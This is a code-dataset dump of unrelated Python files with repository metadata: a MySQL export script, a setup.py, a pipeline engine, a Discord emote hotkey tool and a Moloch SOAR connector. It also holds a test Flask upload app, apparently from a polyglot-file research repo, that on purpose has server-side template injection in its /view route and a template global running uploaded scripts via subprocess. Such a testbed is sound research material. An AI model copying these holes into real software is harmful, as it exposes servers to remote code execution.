# coding=utf-8 import mysql.connector import xlsxwriter from query import q, table,columns from letters import letters import string import json import os dir_path = os.path.dirname(os.path.realpath(__file__)) with open(dir_path + '/config.json', "r") as json_data_file: conf = json.load(json_data_file) conn = mysql.connector.connect(**conf) cur = conn.cursor() cur.execute("set innodb_lock_wait_timeout=100;") q_describe = "describe " + table + ";" cur.execute(q_describe) bdescribe = cur.fetchall() wb = xlsxwriter.Workbook('test.xlsx') ws = wb.add_worksheet() col = 0 for bdes_row in bdescribe: ws.write(string.upper(letters[col] + str(1)), bdes_row[0]) col += 1 num1 = 2 col = 0 num = 1 cur.execute(q) data = cur.fetchall() for row in data: col = 0 for line in range(len(row)): l = letters[col] + str(num1) ws.write(string.upper(l), row[line]) col += 1 num1 += 1 wb.close()

21.697674

62

0.681672

148

933

4.175676

0.459459

0.048544

0.038835

0.058252

0

0.022164

0.177921

933

42

63

22.214286

0.783572

0.012862

0

0.142857

0

0.070729

0.031556

0

1

0

false

0

0.2

0

0.2

0

null

0

null

0

1

0

756f24ba8abf0f406f6c9f0a863f8c02bdb32b06

1,317

py

Python

setup.py

tyler-a-cox/radio_sim

e54891905597578e2be6a9e6a9a201ba1cbd603c

[ "BSD-2-Clause" ]

null

setup.py

tyler-a-cox/radio_sim

e54891905597578e2be6a9e6a9a201ba1cbd603c

[ "BSD-2-Clause" ]

2

2021-06-22T19:31:52.000Z

2021-07-14T21:33:01.000Z

setup.py

tyler-a-cox/radio_sim

e54891905597578e2be6a9e6a9a201ba1cbd603c

[ "BSD-2-Clause" ]

null

from setuptools import setup import os import sys import json sys.path.append("radio_sim") def package_files(package_dir, subdirectory): # walk the input package_dir/subdirectory # return a package_data list paths = [] directory = os.path.join(package_dir, subdirectory) for (path, directories, filenames) in os.walk(directory): for filename in filenames: path = path.replace(package_dir + "/", "") paths.append(os.path.join(path, filename)) return paths data_files = package_files("hera_cal", "data") + package_files( "hera_cal", "calibrations" ) setup_args = { "name": "radio_sim", "version": "0.0.2", "author": "Tyler Cox", "url": "https://github.com/tyler-a-cox/radio_sim", "license": "BSD", "description": "Simple radio interferometer simulator for testing nucal", "package_dir": {"radio_sim": "radio_sim"}, "packages": ["radio_sim"], "include_package_data": True, "scripts": [], "package_data": {"radio_sim": data_files}, "install_requires": [ "numpy>=1.10", "scipy", "astropy", "pyuvdata", ], "extras_require": { "all": [ "aipy>=3.0", ] }, "zip_safe": False, } if __name__ == "__main__": setup(*(), **setup_args)

23.945455

77

0.603645

152

1,317

4.993421

0.506579

0.073781

0.086957

0.050066

0

0.007976

0.238421

1,317

54

78

24.388889

0.748754

0.050114

0

0.307692

0

1

0.023256

false

0

0.093023

0

0.139535

0

null

0

null

0

1

0

756fb9d469af8300eef5fa58dfbcbd277e34d405

1,959

py

Python

oremda/pipeline/engine/__init__.py

OpenChemistry/oremda

3fb4cb8318713b87ecd7999ee2b725da745dd023

[ "BSD-3-Clause" ]

11

2021-09-01T23:10:51.000Z

2022-03-20T07:39:37.000Z

oremda/pipeline/engine/__init__.py

OpenChemistry/oremda

3fb4cb8318713b87ecd7999ee2b725da745dd023

[ "BSD-3-Clause" ]

22

2021-05-18T14:10:27.000Z

2021-10-04T15:06:27.000Z

oremda/pipeline/engine/__init__.py

OpenChemistry/oremda

3fb4cb8318713b87ecd7999ee2b725da745dd023

[ "BSD-3-Clause" ]

2

2021-09-01T22:11:13.000Z

2021-10-30T09:12:36.000Z

import asyncio import logging import sys import coloredlogs import signal from oremda.typing import ContainerType from oremda.clients.singularity import SingularityClient from oremda.pipeline.engine.rpc.client import RpcClient from oremda.pipeline.engine.context import pipeline_context from oremda.pipeline.engine.config import settings # Setup logger logger = logging.getLogger("engine") logger.setLevel(logging.INFO) handler = logging.StreamHandler(sys.stdout) handler.setLevel(logging.INFO) formatter = coloredlogs.ColoredFormatter( "%(asctime)s,%(msecs)03d - %(name)s - %(levelname)s - %(message)s" ) handler.setFormatter(formatter) logger.addHandler(handler) async def run(): # Set the Singularity image path if we are using Singularity if settings.OREMDA_CONTAINER_TYPE == ContainerType.Singularity: SingularityClient.images_dir = settings.OREMDA_SINGULARITY_IMAGE_DIR with pipeline_context() as context: async with RpcClient(settings.SERVER_URL, context) as client: logger.info("Connected to server.") await client.wait_on_reader() async def shutdown(signal, loop, run_task): logger.info(f"Received exit signal {signal.name}...") logger.info("Canceling engine task.") if run_task is not None: run_task.cancel() tasks = [t for t in asyncio.all_tasks() if t is not asyncio.current_task()] if len(tasks) > 0: logger.info(f"Waiting for {len(tasks)} to complete.") await asyncio.wait(tasks) logger.info("Stopping event loop.") loop = asyncio.get_event_loop() loop.stop() def start(): logger.info("Starting pipeline engine.") loop = asyncio.get_event_loop() run_task = loop.create_task(run()) signals = (signal.SIGHUP, signal.SIGTERM, signal.SIGINT) for s in signals: loop.add_signal_handler( s, lambda s=s: asyncio.create_task(shutdown(s, loop, run_task)) ) loop.run_forever()

29.681818

79

0.720265

255

1,959

5.427451

0.392157

0.043353

0.039017

0.052023

0.033237

0

0.00186

0.176621

1,959

65

80

30.138462

0.856169

0.036243

0

0.041667

0

0.020833

0.122546

0.012202

0

1

0.020833

false

0

0.208333

0

0.229167

0

null

0

null

0

1

0

7570df54465fd5d936a3ab3554540e61e267bf96

2,369

py

Python

main.py

RareDrops/discord-emote-script

bc1f4892fd4294449b2340a51b276e4ebb3b37e6

[ "MIT" ]

null

main.py

RareDrops/discord-emote-script

bc1f4892fd4294449b2340a51b276e4ebb3b37e6

[ "MIT" ]

null

main.py

RareDrops/discord-emote-script

bc1f4892fd4294449b2340a51b276e4ebb3b37e6

[ "MIT" ]

null

from pynput import keyboard from pynput.keyboard import Key, Controller from os.path import exists import win32clipboard import os from PIL import Image from pystray import Icon as icon, Menu, MenuItem as item import pystray RECORDING = False WORD = "" keyboard_press = Controller() def send_to_clipboard(filepath): win32clipboard.OpenClipboard() win32clipboard.EmptyClipboard() #the two lines of code below only works for some programs, does work on disocrd though(it is to preserve transparency) wide_path = os.path.abspath(filepath).encode('utf-16-le') + b'\0' win32clipboard.SetClipboardData(win32clipboard.RegisterClipboardFormat('FileNameW'), wide_path) win32clipboard.CloseClipboard() #then simulates pressing ctrl+v using the keyboard module: keyboard_press.release(Key.shift_r) with keyboard_press.pressed(Key.ctrl): keyboard_press.press('v') keyboard_press.release('v') keyboard_press.press(Key.backspace) keyboard_press.release(Key.backspace) def find_image(word): filepath = f"Emotes/{word.lower()}.png" file_exist = exists(filepath) if file_exist == False: return image = Image.open(filepath) if image.size != (48, 48): image = image.resize((48, 48)) image.save(filepath) send_to_clipboard(filepath) def on_press(key): global RECORDING, WORD try: if key.char == ':': if RECORDING == False: RECORDING = True else: RECORDING = False find_image(WORD) WORD = "" elif RECORDING == True: WORD += key.char if len(WORD) > 30: RECORDING = False WORD = "" except AttributeError: if RECORDING == True: if key == Key.backspace: WORD = WORD[:-1] elif key == Key.enter: RECORDING = False WORD = "" # Collect events until released listener = keyboard.Listener(on_press=on_press) listener.start() temp_iterable = [] image = Image.open('keyboard.ico') icon = pystray.Icon('discord-emotes',image,'discord-emotes',temp_iterable) menu = Menu(item('quit',lambda : icon.stop()),) icon.menu = menu icon.run()

29.987342

123

0.61545

268

2,369

5.354478

0.425373

0.063415

0.037631

0.032056

0

0.015376

0.286197

2,369

78

124

30.371795

0.833235

0.086112

0

0.126984

0

0.044273

0.012031

0

1

0.047619

false

0

0.126984

0

0.190476

0

null

0

null

0

1

0

7571df3479e0827912764d9107db9cc7c8bfd97c

27,986

py

Python

moloch_connector.py

splunk-soar-connectors/moloch

d1956ee500b2c3f3882f3512366ae480270e89f8

[ "Apache-2.0" ]

1

2022-02-13T19:18:41.000Z

moloch_connector.py

splunk-soar-connectors/moloch

d1956ee500b2c3f3882f3512366ae480270e89f8

[ "Apache-2.0" ]

2

2021-12-09T01:35:35.000Z

2022-02-24T20:04:27.000Z

moloch_connector.py

splunk-soar-connectors/moloch

d1956ee500b2c3f3882f3512366ae480270e89f8

[ "Apache-2.0" ]

null

# File: moloch_connector.py # # Copyright (c) 2019-2022 Splunk Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software distributed under # the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, # either express or implied. See the License for the specific language governing permissions # and limitations under the License. # # import ipaddress import json import os import magic import phantom.app as phantom import phantom.rules as ph_rules import requests from bs4 import BeautifulSoup, UnicodeDammit from phantom.action_result import ActionResult from phantom.base_connector import BaseConnector from requests.auth import HTTPDigestAuth from moloch_consts import * class RetVal(tuple): def __new__(cls, val1, val2): return tuple.__new__(RetVal, (val1, val2)) class MolochConnector(BaseConnector): def __init__(self): # Call the BaseConnectors init first super(MolochConnector, self).__init__() self._state = None self._server_url = None self._port = None self._username = None self._password = None self._verify_server_cert = False def initialize(self): """ This is an optional function that can be implemented by the AppConnector derived class. Since the configuration dictionary is already validated by the time this function is called, it's a good place to do any extra initialization of any internal modules. This function MUST return a value of either phantom.APP_SUCCESS or phantom.APP_ERROR. If this function returns phantom.APP_ERROR, then AppConnector::handle_action will not get called. """ self._state = self.load_state() # get the asset config config = self.get_config() # Access values in asset config by the name self._server_url = config[MOLOCH_CONFIG_SERVER_URL].strip('/') self._port = config.get(MOLOCH_CONFIG_PORT, 8005) self._username = config[MOLOCH_CONFIG_USERNAME] self._password = config[MOLOCH_CONFIG_PASSWORD] self._verify_server_cert = config.get(MOLOCH_VERIFY_SERVER_CERT, False) # Custom validation for IP address self.set_validator(MOLOCH_PARAM_IP, self._is_ip) return phantom.APP_SUCCESS def _is_ip(self, ip_address): """ Function that checks given address and return True if address is valid IP address. :param ip_address: IP address :return: status (success/failure) """ # Throws exception if IP is not valid IPv4 or IPv6 try: ipaddress.ip_address(UnicodeDammit(ip_address).unicode_markup) except Exception as e: self.debug_print(MOLOCH_INVALID_IP, e) return False return True def _process_empty_reponse(self, response, action_result): """ This function is used to process empty response. :param response: response data :param action_result: object of Action Result :return: status phantom.APP_ERROR/phantom.APP_SUCCESS(along with appropriate message) """ if response.status_code == 200: return RetVal(phantom.APP_SUCCESS, {}) return RetVal(action_result.set_status(phantom.APP_ERROR, "Empty response and no information in the header"), None) def _process_html_response(self, response, action_result): """ This function is used to process html response. :param response: response data :param action_result: object of Action Result :return: status phantom.APP_ERROR/phantom.APP_SUCCESS(along with appropriate message) """ # An html response, treat it like an error status_code = response.status_code try: soup = BeautifulSoup(response.text, "html.parser") # Remove the script, style, footer and navigation part from the HTML message for element in soup(["script", "style", "footer", "nav"]): element.extract() error_text = soup.text split_lines = error_text.split('\n') split_lines = [x.strip() for x in split_lines if x.strip()] error_text = '\n'.join(split_lines) except: error_text = "Cannot parse error details" message = "Status Code: {0}. Data from server:\n{1}\n".format(status_code, error_text) message = message.replace('{', '{{').replace('}', '}}') return RetVal(action_result.set_status(phantom.APP_ERROR, message), None) def _process_json_response(self, response, action_result): """ This function is used to process json response. :param response: response data :param action_result: object of Action Result :return: status phantom.APP_ERROR/phantom.APP_SUCCESS(along with appropriate message) """ # Try a json parse try: resp_json = response.json() except Exception as e: return RetVal(action_result.set_status(phantom.APP_ERROR, "Unable to parse JSON response. Error: {0}". format(str(e))), None) # Please specify the status codes here if 200 <= response.status_code < 399: return RetVal(phantom.APP_SUCCESS, resp_json) # You should process the error returned in the json message = "Error from server. Status Code: {0} Data from server: {1}".format(response.status_code, response.text.replace('{', '{{'). replace('}', '}}')) return RetVal(action_result.set_status(phantom.APP_ERROR, message), None) def _process_pcap_response(self, response, action_result): """ This function is used to process pcap response. :param response: response data :param action_result: object of Action Result :return: status phantom.APP_ERROR/phantom.APP_SUCCESS(along with appropriate message) """ if 200 <= response.status_code < 399: return RetVal(phantom.APP_SUCCESS, {}) message = "Error from server. Status Code: {0} Data from server: {1}".format(response.status_code, response.text.replace('{', '{{'). replace('}', '}}')) return RetVal(action_result.set_status(phantom.APP_ERROR, message), None) def _process_response(self, response, action_result): """ This function is used to process html response. :param response: response data :param action_result: object of Action Result :return: status phantom.APP_ERROR/phantom.APP_SUCCESS(along with appropriate message) """ # store the r_text in debug data, it will get dumped in the logs if the action fails if hasattr(action_result, 'add_debug_data') and (self.get_action_identifier() != "get_pcap" or not (200 <= response.status_code < 399)): action_result.add_debug_data({'r_status_code': response.status_code}) action_result.add_debug_data({'r_text': response.text}) action_result.add_debug_data({'r_headers': response.headers}) # Process each 'Content-Type' of response separately # Process a json response if 'json' in response.headers.get('Content-Type', ''): return self._process_json_response(response, action_result) if 'pcap' in response.headers.get('Content-Type', ''): return self._process_pcap_response(response, action_result) # Process an HTML resonse, Do this no matter what the API talks. # There is a high chance of a PROXY in between phantom and the rest of # world, in case of errors, PROXY's return HTML, this function parses # the error and adds it to the action_result. if 'html' in response.headers.get('Content-Type', ''): return self._process_html_response(response, action_result) # it's not content-type that is to be parsed, handle an empty response if not response.text: return self._process_empty_reponse(response, action_result) # everything else is actually an error at this point message = "Can't process response from server. Status Code: {0} Data from server: {1}".\ format(response.status_code, response.text.replace('{', '{{').replace('}', '}}')) return RetVal(action_result.set_status(phantom.APP_ERROR, message), None) def _make_rest_call(self, endpoint, action_result, headers=None, params=None, data=None, method="get", timeout=None): """ Function that makes the REST call to the device. It's a generic function that can be called from various action handlers. :param endpoint: REST endpoint that needs to appended to the service address :param action_result: object of ActionResult class :param headers: request headers :param params: request parameters :param data: request body :param method: GET/POST/PUT/DELETE (Default will be GET) :param timeout: Timeout for API call :return: status phantom.APP_ERROR/phantom.APP_SUCCESS(along with appropriate message), response obtained by making an API call """ resp_json = None try: request_func = getattr(requests, method) except AttributeError: return RetVal(action_result.set_status(phantom.APP_ERROR, "Invalid method: {0}".format(method)), resp_json) # Create a URL to connect to try: url = '{url}{endpoint}'.format(url=self._server_url, endpoint=endpoint) except Exception: return RetVal(action_result.set_status(phantom.APP_ERROR, "Invalid URL. Please provide a valid URL"), resp_json) try: # In case of get_pcap action stream the response and store it into temp file if self.get_action_identifier() == 'get_pcap': r = request_func(url, auth=HTTPDigestAuth(self._username, self._password), json=data, headers=headers, verify=self._verify_server_cert, timeout=timeout, params=params, stream=True) # Create temp_file_path using asset_id temp_file_path = '{dir}{asset}_temp_pcap_file'.format(dir=self.get_state_dir(), asset=self.get_asset_id()) # If API call is success if 200 <= r.status_code < 399: # Store response into file with open(temp_file_path, 'wb') as pcap_file: for chunk in r.iter_content(chunk_size=1024): if chunk: pcap_file.write(chunk) else: r = request_func(url, auth=HTTPDigestAuth(self._username, self._password), json=data, headers=headers, verify=self._verify_server_cert, timeout=timeout, params=params) except Exception as e: return RetVal(action_result.set_status(phantom.APP_ERROR, "Error Connecting to server. Details: {0}". format(str(e))), resp_json) return self._process_response(r, action_result) def _handle_test_connectivity(self, param): """ This function is used to test the connectivity of an asset with given credentials. :param param: (not used in this method) :return: status success/failure """ action_result = self.add_action_result(ActionResult(dict(param))) self.save_progress(MOLOCH_TEST_CONNECTION) # Validate port if not str(self._port).isdigit() or int(self._port) not in list(range(0, 65536)): self.save_progress(MOLOCH_TEST_CONNECTIVITY_FAILED) return action_result.set_status(phantom.APP_ERROR, status_message='{}. {}'.format( MOLOCH_CONNECTING_ERROR_MSG, MOLOCH_INVALID_CONFIG_PORT)) params = {'length': 1} endpoint = ':{port}{endpoint}'.format(port=self._port, endpoint=MOLOCH_TEST_CONNECTIVITY_ENDPOINT) # make REST call ret_val, response = self._make_rest_call(endpoint=endpoint, params=params, action_result=action_result, timeout=MOLOCH_TEST_CONNECTIVITY_TIMEOUT) if phantom.is_fail(ret_val): self.save_progress(MOLOCH_TEST_CONNECTIVITY_FAILED) return action_result.get_status() self.save_progress(MOLOCH_TEST_CONNECTIVITY_PASSED) return action_result.set_status(phantom.APP_SUCCESS) def _handle_get_pcap(self, param): """ This function is used to get pcap file and store it into vault. :param param: Dictionary of input parameters :return: status success/failure """ self.save_progress("In action handler for: {0}".format(self.get_action_identifier())) action_result = self.add_action_result(ActionResult(dict(param))) summary = action_result.update_summary({}) # Validate port if not str(self._port).isdigit() or int(self._port) not in list(range(0, 65536)): self.debug_print(MOLOCH_INVALID_CONFIG_PORT) return action_result.set_status(phantom.APP_ERROR, status_message=MOLOCH_INVALID_CONFIG_PORT) # Get parameters start_time = param[MOLOCH_JSON_START_TIME] end_time = param[MOLOCH_JSON_END_TIME] source_ip = param.get(MOLOCH_JSON_SOURCE_IP) dest_ip = param.get(MOLOCH_JSON_DESTINATION_IP) hostname = param.get(MOLOCH_JSON_HOSTNAME) custom_query = param.get(MOLOCH_JSON_CUSTOM_QUERY) limit = param.get(MOLOCH_JSON_LIMIT, 50) # Validate start_time parameter try: start_time = int(float(start_time)) except: self.debug_print(MOLOCH_INVALID_START_TIME) return action_result.set_status(phantom.APP_ERROR, status_message=MOLOCH_INVALID_START_TIME) # Validate end_time parameter try: end_time = int(float(end_time)) except: self.debug_print(MOLOCH_INVALID_END_TIME) return action_result.set_status(phantom.APP_ERROR, status_message=MOLOCH_INVALID_END_TIME) # Compare value of start_time and end_time if start_time >= end_time: self.debug_print(MOLOCH_INVALID_TIME_RANGE) return action_result.set_status(phantom.APP_ERROR, status_message=MOLOCH_INVALID_TIME_RANGE) # Validate parameter limit try: limit = int(float(limit)) except: self.debug_print(MOLOCH_INVALID_LIMIT_MSG) return action_result.set_status(phantom.APP_ERROR, status_message=MOLOCH_INVALID_LIMIT_MSG) # Validate parameter limit if limit not in list(range(0, 2000001)): self.debug_print(MOLOCH_INVALID_LIMIT_MSG) return action_result.set_status(phantom.APP_ERROR, status_message=MOLOCH_INVALID_LIMIT_MSG) params = dict() params['length'] = limit params['startTime'] = start_time params['stopTime'] = end_time expression = '' expressions = [] # Add source_ip to expression, if available if source_ip: expression = 'ip.src == {source_ip}'.format(source_ip=source_ip) expressions.append(expression) # Add dest_ip to expression, if available if dest_ip: expression = 'ip.dst == {dst_ip}'.format(dst_ip=dest_ip) expressions.append(expression) # Add hostname to expression, if available if hostname: expression = 'host.http == {hostname}'.format(hostname=hostname) expressions.append(expression) # Add custom_query to expression, if available if custom_query: expression = custom_query expressions.append(expression) expression = " && ".join(expressions) if expression: params['expression'] = expression endpoint = ':{port}{endpoint}'.format(port=self._port, endpoint=MOLOCH_GET_PCAP_ENDPOINT) # make REST call ret_val, response = self._make_rest_call(endpoint=endpoint, action_result=action_result, params=params) if phantom.is_fail(ret_val): return action_result.get_status() # Create filename using input parameters filename = 'moloch_{start_time}_{end_time}'.format(start_time=start_time, end_time=end_time) inputs = [('src_ip', source_ip), ('dst_ip', dest_ip), ('hostname', hostname)] for input_key, input_val in inputs: if input_val: filename = '{filename}_{input_key}_{input_val}'.format(filename=filename, input_key=input_key, input_val=input_val) filename = '{filename}_limit_{limit}'.format(filename=filename, limit=limit) filename = '{filename}.pcap'.format(filename=filename) temp_file_path = '{dir}{asset}_temp_pcap_file'.format(dir=self.get_state_dir(), asset=self.get_asset_id()) # If file size is zero if not os.path.getsize(temp_file_path): # Delete file os.unlink(temp_file_path) self.debug_print(MOLOCH_NO_DATA_FOUND_MSG) return action_result.set_status(phantom.APP_ERROR, status_message=MOLOCH_NO_DATA_FOUND_MSG) # Check if file is text file # mime=True only returns mimetypes instead of textual description magic_obj = magic.Magic(mime=True) file_type = magic_obj.from_file(temp_file_path) if file_type == 'text/plain': with open(temp_file_path) as temp_file: temp_file_data = temp_file.read() message = 'Error while getting data from server. {api_message}'.\ format(api_message=temp_file_data) self.debug_print(message) return action_result.set_status(phantom.APP_ERROR, status_message=message) invalid_chars = r'[]<>/\():;"\'|*()`~!@#$%^&+={}?,' # Remove special character defined in invalid_chars form filename try: filename = filename.translate(None, invalid_chars) except: # For Python v3 translate function expects a table for replacing the characters translate_table = {} for invalid_char in invalid_chars: translate_table[ord(invalid_char)] = None filename = filename.translate(translate_table) _, _, vault_file_list = ph_rules.vault_info(file_name=filename) vault_file_list = list(vault_file_list) # Iterate through files of Vault for file in vault_file_list: # If file name and file size are same file is duplicate if file.get('name') == filename and file.get('size') == os.path.getsize(temp_file_path): self.debug_print(MOLOCH_FILE_ALREADY_AVAILABLE) vault_file_details = { phantom.APP_JSON_SIZE: file.get('size'), phantom.APP_JSON_VAULT_ID: file.get('vault_id'), 'file_name': filename } summary['vault_id'] = file.get('vault_id') # Delete temp file os.unlink(temp_file_path) action_result.add_data(vault_file_details) return action_result.set_status(phantom.APP_SUCCESS) vault_file_details = {phantom.APP_JSON_SIZE: os.path.getsize(temp_file_path)} # Adding file to vault success, _, vault_id = ph_rules.vault_add(file_location=temp_file_path, container=self.get_container_id(), file_name=filename, metadata=vault_file_details) # Updating report data with vault details if not success: self.debug_print('Error while adding the file to vault') return action_result.set_status(phantom.APP_ERROR, status_message='Error while adding the file to vault') vault_file_details[phantom.APP_JSON_VAULT_ID] = vault_id vault_file_details['file_name'] = filename action_result.add_data(vault_file_details) summary['vault_id'] = vault_file_details['vault_id'] return action_result.set_status(phantom.APP_SUCCESS) def _handle_list_fields(self, param): """ This function is used to list all fields. :param param: dictionary of input parameters :return: status success/failure """ self.save_progress("In action handler for: {0}".format(self.get_action_identifier())) action_result = self.add_action_result(ActionResult(dict(param))) port = param.get(MOLOCH_PARAM_PORT, 9200) # Validate port if not str(port).isdigit() or int(port) not in list(range(0, 65536)): self.debug_print(MOLOCH_INVALID_PARAM_PORT) return action_result.set_status(phantom.APP_ERROR, status_message=MOLOCH_INVALID_PARAM_PORT) endpoint = ':{port}{endpoint}'.format(port=port, endpoint=MOLOCH_LIST_FIELDS_ENDPOINT) # make REST call ret_val, response = self._make_rest_call(endpoint=endpoint, action_result=action_result) # Something went wrong if phantom.is_fail(ret_val): message = action_result.get_message() self.debug_print(message) if "Status Code: 200" in message and "angular.module" in message: action_result.set_status(phantom.APP_ERROR, "Unable to connect to server. " "Please make sure that entered port is correct") return action_result.get_status() # Add data to action_result for content in response.get("hits", {}).get("hits", []): action_result.add_data(content) summary = action_result.update_summary({}) summary['total_fields'] = action_result.get_data_size() return action_result.set_status(phantom.APP_SUCCESS) def _handle_list_files(self, param): """ This function is used to list all files. :param param: (not used in this method) :return: status success/failure """ self.save_progress("In action handler for: {0}".format(self.get_action_identifier())) action_result = self.add_action_result(ActionResult(dict(param))) # Validate port if not str(self._port).isdigit() or int(self._port) not in list(range(0, 65536)): self.debug_print(MOLOCH_INVALID_CONFIG_PORT) return action_result.set_status(phantom.APP_ERROR, status_message=MOLOCH_INVALID_CONFIG_PORT) endpoint = ':{port}{endpoint}'.format(port=self._port, endpoint=MOLOCH_LIST_FILES_ENDPOINT) # make REST call ret_val, response = self._make_rest_call(endpoint=endpoint, action_result=action_result) # Something went wrong if phantom.is_fail(ret_val): message = action_result.get_message() self.debug_print(message) return action_result.get_status() # Add data to action_result for content in response["data"]: action_result.add_data(content) summary = action_result.update_summary({}) summary['total_files'] = action_result.get_data_size() return action_result.set_status(phantom.APP_SUCCESS) def handle_action(self, param): """ This function gets current action identifier and calls member function of its own to handle the action. :param param: dictionary which contains information about the actions to be executed :return: status success/failure """ self.debug_print("action_id", self.get_action_identifier()) # Dictionary mapping each action with its corresponding actions action_mapping = { 'test_connectivity': self._handle_test_connectivity, 'get_pcap': self._handle_get_pcap, 'list_files': self._handle_list_files, 'list_fields': self._handle_list_fields } action = self.get_action_identifier() action_execution_status = phantom.APP_SUCCESS if action in list(action_mapping.keys()): action_function = action_mapping[action] action_execution_status = action_function(param) return action_execution_status def finalize(self): """ This function gets called once all the param dictionary elements are looped over and no more handle_action calls are left to be made. It gives the AppConnector a chance to loop through all the results that were accumulated by multiple handle_action function calls and create any summary if required. Another usage is cleanup, disconnect from remote devices etc. :return: status (success/failure) """ self.save_state(self._state) return phantom.APP_SUCCESS if __name__ == '__main__': import argparse import sys import pudb pudb.set_trace() argparser = argparse.ArgumentParser() argparser.add_argument('input_test_json', help='Input Test JSON file') argparser.add_argument('-u', '--username', help='username', required=False) argparser.add_argument('-p', '--password', help='password', required=False) argparser.add_argument('-v', '--verify', action='store_true', help='verify', required=False, default=False) args = argparser.parse_args() session_id = None username = args.username password = args.password verify = args.verify if username is not None and password is None: # User specified a username but not a password, so ask import getpass password = getpass.getpass("Password: ") if username and password: login_url = BaseConnector._get_phantom_base_url() + "login" try: print("Accessing the Login page") r = requests.get(login_url, verify=verify, timeout=MOLOCH_DEFAULT_TIMEOUT) csrftoken = r.cookies['csrftoken'] data = dict() data['username'] = username data['password'] = password data['csrfmiddlewaretoken'] = csrftoken headers = dict() headers['Cookie'] = 'csrftoken={}'.format(csrftoken) headers['Referer'] = login_url print("Logging into Platform to get the session id") r2 = requests.post(login_url, verify=verify, data=data, headers=headers, timeout=MOLOCH_DEFAULT_TIMEOUT) session_id = r2.cookies['sessionid'] except Exception as e: print("Unable to get session id from the platform. Error: {}".format(str(e))) sys.exit(1) if len(sys.argv) < 2: print("No test json specified as input") sys.exit(0) with open(sys.argv[1]) as f: in_json = f.read() in_json = json.loads(in_json) print(json.dumps(in_json, indent=4)) connector = MolochConnector() connector.print_progress_message = True if session_id is not None: in_json['user_session_token'] = session_id ret_val = connector._handle_action(json.dumps(in_json), None) print(json.dumps(json.loads(ret_val), indent=4)) sys.exit(0)

41.460741

134

0.643393

3,418

27,986

5.034523

0.145114

0.061367

0.031613

0.03417

0.447931

0.40086

0.371746

0.345188

0.342631

0.31218

0

0.005876

0.270314

27,986

674

135

41.522255

0.836786

0.221003

0

0.256906

0

0.013812

0.087072

0.006712

0

1

0.044199

false

0.033149

0.044199

0.002762

0.21547

0.063536

0

null

0

null

0

1

0

7574fa5420556c5e1887475cd923bc9a0ffab1f4

2,600

py

Python

testing/python-image-upload/upload.py

pkalauner-tuwien/polyglot-and-ambiguous-files

109eb7d5533de4a053841313e7c14918f9cd9df0

[ "MIT" ]

null

testing/python-image-upload/upload.py

pkalauner-tuwien/polyglot-and-ambiguous-files

109eb7d5533de4a053841313e7c14918f9cd9df0

[ "MIT" ]

1

2021-03-23T20:13:21.000Z

testing/python-image-upload/upload.py

pkalauner-tuwien/polyglot-and-ambiguous-files

109eb7d5533de4a053841313e7c14918f9cd9df0

[ "MIT" ]

null

from flask import * from flask_csp.csp import csp_header, csp_default import imghdr import os import hashlib import subprocess app = Flask(__name__) app.config["UPLOAD_DIRECTORY"] = 'uploads' app.config["ALLOWED_EXTENSIONS"] = ["jpg", "jpeg", "png", "gif"] # Remove report-uri from default CSP header h = csp_default() h.update({'report-uri':""}) @app.route('/') @app.route('/upload') @csp_header() def index(): return render_template("upload.html") @app.route('/upload', methods = ['POST']) @csp_header() def upload(): f = request.files['file'] # Check extension if not "." in f.filename: return render_template("upload.html", msg="The selected file has an invalid extension.") name, ext = f.filename.rsplit(".", 1) ext = ext.lower() if ext not in app.config["ALLOWED_EXTENSIONS"]: return render_template("upload.html", msg="The selected file has an invalid extension.") hashed_name = hashlib.md5(name.encode("utf-8")).hexdigest() path = os.path.join(app.config["UPLOAD_DIRECTORY"], "{}.{}".format(hashed_name, ext)) # Append number if file already exists id = 1 while os.path.isfile(path): path = os.path.join(app.config["UPLOAD_DIRECTORY"], "{}_{}.{}".format(hashed_name, id, ext)) id += 1 f.save(path) # Check file content so only changing extension cannot bypass the check if imghdr.what(path).lower() not in app.config["ALLOWED_EXTENSIONS"]: os.remove(path) return render_template("upload.html", msg="The selected file is not an image.") return render_template("upload.html", msg="Upload successful!", imagepath = path) @app.route('/view') @csp_header() def view(): imagepath = request.args.get('image') if not os.path.isfile(imagepath): # Vulnerable, see method below template = "{% extends 'index.html' %}{% block content %}<h4>Image " + imagepath + " does not exist.</h4>{% endblock %}" return render_template_string(template) return render_template("view.html", imagepath=imagepath) # PoC method to show why attackers should not be able to upload arbitrary code. # This method should obviously not exist in a real application, but code execution could also be achieved through other, more sophisticated ways. def exec_script(file): return subprocess.check_output(['python3', file]) app.jinja_env.globals['exec_script'] = exec_script # Allow usage in templates @app.route('/uploads/<filename>') @csp_header() def send_file(filename): return send_from_directory(app.config["UPLOAD_DIRECTORY"], filename)

34.666667

145

0.687308

352

2,600

4.965909

0.380682

0.036041

0.080092

0.074371

0.239703

0.22254

0.168192

0.140732

0

0.003712

0.171154

2,600

74

146

35.135135

0.807425

0.169231

0

0.115385

0

0.246397

0

1

0.096154

false

0

0.115385

0.057692

0.384615

0

null

0

null

0

1

0

7577e2f7df5f804c676013417ab035ff063a393c

8,767

py

Python

test.py

AllenChen1998/RAD

9778e2576e427a26b2181561648f82162237a7dd

[ "MIT" ]

1

2021-08-05T04:08:15.000Z

test.py

AllenChen1998/RAD

9778e2576e427a26b2181561648f82162237a7dd

[ "MIT" ]

null

test.py

AllenChen1998/RAD

9778e2576e427a26b2181561648f82162237a7dd

[ "MIT" ]

null

